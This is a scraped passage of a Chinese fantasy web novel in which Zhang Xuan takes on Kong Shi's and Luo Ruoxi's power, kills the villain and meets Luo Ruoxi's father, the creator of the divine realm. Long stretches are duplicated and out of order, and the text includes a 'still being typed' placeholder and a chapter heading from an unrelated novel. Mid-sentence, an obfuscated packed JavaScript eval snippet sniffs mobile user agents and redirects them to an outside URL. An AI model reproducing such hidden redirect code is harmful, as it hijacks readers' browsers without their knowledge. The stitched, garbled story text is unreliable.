张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546033|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第61章海外阅兵扬我国威 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 